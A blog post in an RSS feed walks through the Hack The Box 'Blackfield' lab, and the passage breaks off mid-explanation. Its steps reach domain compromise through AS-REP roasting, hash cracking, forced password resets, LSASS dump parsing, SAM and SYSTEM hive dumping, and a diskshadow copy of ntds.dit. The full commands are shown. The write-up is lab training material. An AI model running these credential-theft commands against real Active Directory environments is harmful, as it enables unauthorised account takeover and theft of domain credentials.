<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Walkthrough on MidwestSec</title><link>https://midwestsec.com/tags/walkthrough/</link><description>Recent content in Walkthrough on MidwestSec</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Mon, 18 May 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://midwestsec.com/tags/walkthrough/index.xml" rel="self" type="application/rss+xml"/><item><title>HTB - Blackfield</title><link>https://midwestsec.com/walkthroughs/blackfield/</link><pubDate>Mon, 18 May 2026 00:00:00 +0000</pubDate><guid>https://midwestsec.com/walkthroughs/blackfield/</guid><description>&lt;h2 id="introduction"&gt;&lt;a href="#introduction" class="header-anchor"&gt;&lt;/a&gt;Introduction
&lt;/h2&gt;&lt;p&gt;Welcome back! In this walkthrough I go over Hack the Box’s Blackfield. After moving through 3 accounts, I discovered how to abuse backup permissions to grab the domain administrator credentials, compromise the domain and Capture the Flag.&lt;/p&gt;
&lt;p&gt;Starting off with Nmap.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Nmap scan report &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; 10.129.229.17
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host is up &lt;span style="color:#f92672"&gt;(&lt;/span&gt;0.030s latency&lt;span style="color:#f92672"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Not shown: &lt;span style="color:#ae81ff"&gt;65526&lt;/span&gt; filtered tcp ports &lt;span style="color:#f92672"&gt;(&lt;/span&gt;no-response&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;53/tcp open domain Simple DNS Plus
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;88/tcp open kerberos-sec Microsoft Windows Kerberos &lt;span style="color:#f92672"&gt;(&lt;/span&gt;server time: 2026-05-04 19:32:17Z&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;135/tcp open msrpc Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;139/tcp open tcpwrapped
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;389/tcp open ldap Microsoft Windows Active Directory LDAP &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Domain: BLACKFIELD.local0., Site: Default-First-Site-Name&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;445/tcp open microsoft-ds?
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3268/tcp open ldap Microsoft Windows Active Directory LDAP &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Domain: BLACKFIELD.local0., Site: Default-First-Site-Name&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;5985/tcp open http Microsoft HTTPAPI httpd 2.0 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;SSDP/UPnP&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Microsoft-HTTPAPI/2.0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Not Found
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Warning: OSScan results may be unreliable because we could not find at least &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; open and &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; closed port
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Device type: general purpose
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Running &lt;span style="color:#f92672"&gt;(&lt;/span&gt;JUST GUESSING&lt;span style="color:#f92672"&gt;)&lt;/span&gt;: Microsoft Windows 2019|&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;97%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Aggressive OS guesses: Windows Server &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;97%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, Microsoft Windows &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1903&lt;/span&gt; - 21H1 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;91%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;No exact OS matches &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; host &lt;span style="color:#f92672"&gt;(&lt;/span&gt;test conditions non-ideal&lt;span style="color:#f92672"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Network Distance: &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; hops
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host script results:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-time: 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| date: 2026-05-04T19:32:24
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ start_date: N/A
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_clock-skew: 6h59m58s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-security-mode: 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| 3:1:1: 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Message signing enabled and required
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As you can see, there are significantly fewer ports open than the other boxes I’ve completed. I notice Kerberos, SMB, LDAP and WinRM are open right away.&lt;/p&gt;
&lt;h2 id="smb"&gt;&lt;a href="#smb" class="header-anchor"&gt;&lt;/a&gt;SMB
&lt;/h2&gt;&lt;p&gt;When I see SMB is open, I always start there as it is often a good place to gather data. I connect to the SMB shares via smbclient&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;smbclient -L &lt;span style="color:#ae81ff"&gt;\\\\&lt;/span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;IP&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="SMB Shares" class="gallery-image" data-flex-basis="652px" data-flex-grow="271" height="304" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://midwestsec.com/walkthroughs/blackfield/shares.png" srcset="https://midwestsec.com/walkthroughs/blackfield/shares_hu_ce35d22e3a33f78f.png 800w, https://midwestsec.com/walkthroughs/blackfield/shares.png 826w" width="826"&gt;&lt;/p&gt;
&lt;p&gt;This returns the usual shares in addition to a forensic and profiles$ share. I attempted to connect to forensic and failed due to permissions. The profiles$ share was next and it provided a ton of data.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;smbclient &lt;span style="color:#ae81ff"&gt;\\\\&lt;/span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;IP&lt;span style="color:#f92672"&gt;]&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\\&lt;/span&gt;profiles$
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once connected, I searched the share and got a list of all the domain’s usernames. I went through the list manually to start, and added usernames to a file that I thought would be of interest. To start, I included the BConsultant, audit2020, support, and svc_backup accounts. With Kerberos being open, AS-REP roasting was my next step.&lt;/p&gt;
&lt;h2 id="as-rep-roasting"&gt;&lt;a href="#as-rep-roasting" class="header-anchor"&gt;&lt;/a&gt;AS-REP Roasting
&lt;/h2&gt;&lt;p&gt;I’ve learned that, at least in the labs, AS-REP is always a good choice to try. In modern environments, disabling Kerberos pre-authentication is not recommended because it exposes accounts to AS-REP roasting attacks. It is uncommon to see it disabled in environments today.&lt;/p&gt;
&lt;p&gt;I started the AS-REP roast and successfully gathered the hash of the support user.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo netexec ldap &lt;span style="color:#f92672"&gt;[&lt;/span&gt;DC IP&lt;span style="color:#f92672"&gt;]&lt;/span&gt; -u un.txt -p &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt; - asreproast hashes.txt - verbose - kdc &lt;span style="color:#f92672"&gt;[&lt;/span&gt;DC IP&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="AS-Rep Roast" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="asrep%20redacted.png"&gt;&lt;/p&gt;
&lt;p&gt;I ran that hash through hashcat and now have a valid account to further enumerate with.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hashcat -m &lt;span style="color:#ae81ff"&gt;18200&lt;/span&gt; -a &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; -o cracked.txt hashes.txt /usr/share/wordlists/rockyou.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="Cracked Creds" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="cracked%20redacted.png"&gt;&lt;/p&gt;
&lt;h2 id="initial-foothold--deeper-enumeration"&gt;&lt;a href="#initial-foothold--deeper-enumeration" class="header-anchor"&gt;&lt;/a&gt;Initial Foothold + Deeper Enumeration
&lt;/h2&gt;&lt;p&gt;Now that I have a compromised account, I went back to the SMB shares and attempted to connect to the forensic share. That was still unsuccessful. Time to keep enumerating and find the user that has access to that share.&lt;/p&gt;
&lt;p&gt;Going back to my trusty friend, BloodHound, I enumerated Active Directory with the BloodHound python script. This script connects to the domain controller, using the compromised account, and provides a map of the Active Directory environment. The copy of the script I have is:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo bloodhound-python -d &lt;span style="color:#f92672"&gt;[&lt;/span&gt;DOMAIN&lt;span style="color:#f92672"&gt;]&lt;/span&gt; -u &lt;span style="color:#f92672"&gt;[&lt;/span&gt;USER&lt;span style="color:#f92672"&gt;]&lt;/span&gt; -p &lt;span style="color:#f92672"&gt;[&lt;/span&gt;PASSWORD&lt;span style="color:#f92672"&gt;]&lt;/span&gt; -ns &lt;span style="color:#f92672"&gt;[&lt;/span&gt;DC IP&lt;span style="color:#f92672"&gt;]&lt;/span&gt; -c ALL
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Replacing the placeholders, my command was&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo bloodhound-python -d blackfield -u support -p &lt;span style="color:#f92672"&gt;[&lt;/span&gt;PW&lt;span style="color:#f92672"&gt;]&lt;/span&gt; -ns &lt;span style="color:#f92672"&gt;[&lt;/span&gt;IP&lt;span style="color:#f92672"&gt;]&lt;/span&gt; -c ALL
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once this ran, I imported the data into BloodHound and started looking at the support account.&lt;/p&gt;
&lt;p&gt;BloodHound showed that the support account had the ForceChangePassword permission over the audit2020 account.&lt;/p&gt;
&lt;p&gt;&lt;img alt="BloodHound Find" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="bh%20outbound.png"&gt;
&lt;img alt="BloodHound Find" class="gallery-image" data-flex-basis="2352px" data-flex-grow="980" height="222" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://midwestsec.com/walkthroughs/blackfield/bh_aduit2020.png" srcset="https://midwestsec.com/walkthroughs/blackfield/bh_aduit2020_hu_93436bb18d919512.png 800w, https://midwestsec.com/walkthroughs/blackfield/bh_aduit2020_hu_e11af80149955674.png 1600w, https://midwestsec.com/walkthroughs/blackfield/bh_aduit2020.png 2176w" width="2176"&gt;&lt;/p&gt;
&lt;p&gt;This means that my compromised account has control over something else. I looked and I was able to see that I could change the password to the audit2020 account. This was important! I could now change the password of another account, compromise it and (hopefully) enumerate more information.&lt;/p&gt;
&lt;h2 id="how-do-i-change-this-password"&gt;&lt;a href="#how-do-i-change-this-password" class="header-anchor"&gt;&lt;/a&gt;How do I Change this Password!?
&lt;/h2&gt;&lt;p&gt;At this point, I was venturing into uncharted territory. I’m used to changing account passwords through the domain controller. How can I change the password of another user when I don’t have access to Active Directory Users and Groups?&lt;/p&gt;
&lt;p&gt;I did some digging and there is a way to change it via rpcclient on my Kali machine. I installed the tool:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install samba-common-bin
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then I ran the commands to change the audit2020 password&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;rpcclient -U &lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;#39;&lt;/span&gt;BLACKFIELD.local/support%&lt;span style="color:#f92672"&gt;[&lt;/span&gt;PW&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;IP&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This connects to the remote machine. I had to use the % between the user and password because the password starts with #. It wasn’t working otherwise.&lt;/p&gt;
&lt;p&gt;Once I got connected, I was able to change the password.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;setuserinfo2 audit2020 &lt;span style="color:#ae81ff"&gt;23&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;Password123!&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;quit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="Changing audit2020 password" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="change%20password%20redacted.png"&gt;&lt;/p&gt;
&lt;p&gt;The setuserinfo2 portion of the command is the function to modify a user object. Audit2020 is the account we want to modify. The 23 parameter tells rpcclient to perform a password reset without requiring the user’s current password. The quit command just exits the prompt. I have made even more progress! I now have two compromised accounts. This is important. I can begin to enumerate with a second account. With a name like audit2020 and an SMB share of forensic, things are starting to line up.&lt;/p&gt;
&lt;h2 id="its-forensic-time"&gt;&lt;a href="#its-forensic-time" class="header-anchor"&gt;&lt;/a&gt;It&amp;rsquo;s Forensic Time!
&lt;/h2&gt;&lt;p&gt;I fired up smbclient again with my new account and attempted to connect to the forensic share.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;smbclient &lt;span style="color:#ae81ff"&gt;\\\\&lt;/span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;IP&lt;span style="color:#f92672"&gt;]&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\\&lt;/span&gt;forensic -U blackfield/audit2020 --password Password123!
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I successfully connected to the forensic share. Another victory!&lt;/p&gt;
&lt;p&gt;&lt;img alt="Accessing Forensic Share" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="forensic%20share.png"&gt;&lt;/p&gt;
&lt;p&gt;Within the share were a few folders; most notably “memory_analysis”. I investigated the folder and came across an LSASS dump file. LSASS is responsible for enforcing security policy and handling authentication processes on Windows systems. If I can analyze the dump file, I can grab the hash of other users, allowing me to continue moving through the machine.&lt;/p&gt;
&lt;p&gt;Looking in the Tools folder, there was a tool called Volatility. Knowing that it was left there as a hint to complete the box, I started to learn about the tool. Volatility allows the user to analyze memory dumps. I attempted to use it on my machine, but I couldn’t get the newest version to work. I looked at alternatives and came across pypykatz. While Volatility is a full memory forensics tool, pypykatz analyzed the dump file and extracted the credentials more easily.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pypykatz lsa minidump &lt;span style="color:#f92672"&gt;[&lt;/span&gt;path/to/file/&lt;span style="color:#f92672"&gt;]&lt;/span&gt;/lsass.DMP
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;BINGO! I scanned through the output and saw the administrator account and associated password hash. I was ecstatic. I thought I had cracked the puzzle. I attempted to connect to the DC via evil-winrm and was unsuccessful. After investigating, it was pulling the hash of the local administrator, not the domain administrator. I continued to scan the output and came across the svc_backup user. Time to see where I can get with this account!&lt;/p&gt;
&lt;p&gt;&lt;img alt="Service Account Hash" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="svc_backup%20hash.png"&gt;&lt;/p&gt;
&lt;h2 id="its-backup-time"&gt;&lt;a href="#its-backup-time" class="header-anchor"&gt;&lt;/a&gt;It&amp;rsquo;s Backup Time!
&lt;/h2&gt;&lt;p&gt;I hopped into BloodHound and pulled up the svc_backup account. I see that it is a member of the “Remote Management Users” and “Backup Operators” groups. This indicates that this account has elevated privileges. I fired up Evil-WinRM and connected with the hash I pulled from pypykatz.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Access with Service Account" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="svc%20whoami.png"&gt;&lt;/p&gt;
&lt;p&gt;I connected and, since this is Capture the Flag, I grabbed the flag. To verify that this account has backup permissions, I ran a quick check: whoami /priv.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Capturing User Flag" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="user%20flag.png"&gt;
&lt;img alt="Service Account Privileges" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="whoami%20priv.png"&gt;&lt;/p&gt;
&lt;p&gt;This verified that I have the SeBackupPrivilege. Due to this privilege, I can access sensitive files. I followed a walkthrough (grab link when this decides to work) to capitalize on this privilege. It walked me through getting the SAM file, which contains the hashes of local user accounts, the system hive and how to grab the hashes. Even though the SAM didn’t provide anything useful to me, it led me to the next step which allowed me to compromise the domain.&lt;/p&gt;
&lt;p&gt;To grab the files, I started within Evil-WinRM. I created a temp directory to dump all of the contents into. To grab the SAM, I ran the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;reg save HKLM&lt;span style="color:#ae81ff"&gt;\s&lt;/span&gt;am C:&lt;span style="color:#ae81ff"&gt;\t&lt;/span&gt;emp&lt;span style="color:#ae81ff"&gt;\s&lt;/span&gt;am.hive
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then I moved on to the system hive. The system hive contains the keys required to decrypt material.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;reg save HKLM&lt;span style="color:#ae81ff"&gt;\s&lt;/span&gt;ystem C:&lt;span style="color:#ae81ff"&gt;\t&lt;/span&gt;emp&lt;span style="color:#ae81ff"&gt;\s&lt;/span&gt;ystem.hive
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now that I have both the SAM and system hives, I can work with secretsdump to get the hashes. I copied the files to my machine and ran&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;secretsdump.py -sam sam.hive -system system.hive LOCAL
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This successfully dumped the hashes of the users in SAM. I attempted to use the local administrative account and failed. I did some more investigating and started in on the NTDS file. This contains the hashes of the domain users, including the domain administrator.&lt;/p&gt;
&lt;h2 id="pwned"&gt;&lt;a href="#pwned" class="header-anchor"&gt;&lt;/a&gt;Pwned
&lt;/h2&gt;&lt;p&gt;Initially, I just tried to copy the NTDS file over. It is located at C:\Windows\NTDS\ntds.dit. I copied the file and attempted to use it with secretsdump. This failed, as I learned, because you need to create a backup of the file first and then dump it. Now I had to investigate how to create that backup.&lt;/p&gt;
&lt;p&gt;Because the account had the SeBackupPrivilege, I was able to utilize diskshadow.exe to create a Volume Shadow Copy of the C: drive. This allows access to protected files such as ntds.dit without directly interacting with the live Active Directory database, which is what I had attempted earlier and failed.&lt;/p&gt;
&lt;p&gt;Full disclosure, I used some &lt;em&gt;coughdigitalcough&lt;/em&gt; assistance in getting this section completed. I used the following commands to create a TXT file. The file contains the commands that are needed to use diskshadow to create a backup of NTDS.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cmd /c &lt;span style="color:#e6db74"&gt;&amp;#34;echo set context persistent nowriters&amp;gt; shadow.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cmd /c &lt;span style="color:#e6db74"&gt;&amp;#34;echo add volume c: alias vss&amp;gt;&amp;gt; shadow.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cmd /c &lt;span style="color:#e6db74"&gt;&amp;#34;echo create&amp;gt;&amp;gt; shadow.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cmd /c &lt;span style="color:#e6db74"&gt;&amp;#34;echo expose %vss% z:&amp;gt;&amp;gt; shadow.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;diskshadow.exe /s shadow.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;robocopy /b Z:&lt;span style="color:#ae81ff"&gt;\W&lt;/span&gt;indows&lt;span style="color:#ae81ff"&gt;\N&lt;/span&gt;TDS C:&lt;span style="color:#ae81ff"&gt;\t&lt;/span&gt;emp ntds.dit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The set context persistent nowriters command told DiskShadow to create a shadow copy while excluding VSS writers. Excluding writers helps avoid issues with services such as Active Directory that normally lock database files. Next,&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cmd /c &lt;span style="color:#e6db74"&gt;&amp;#34;echo add volume c: alias vss
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;specified that the C: volume should be shadowed and assigned the alias vss.&lt;/p&gt;
&lt;p&gt;The command&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cmd /c &lt;span style="color:#e6db74"&gt;&amp;#34;echo create
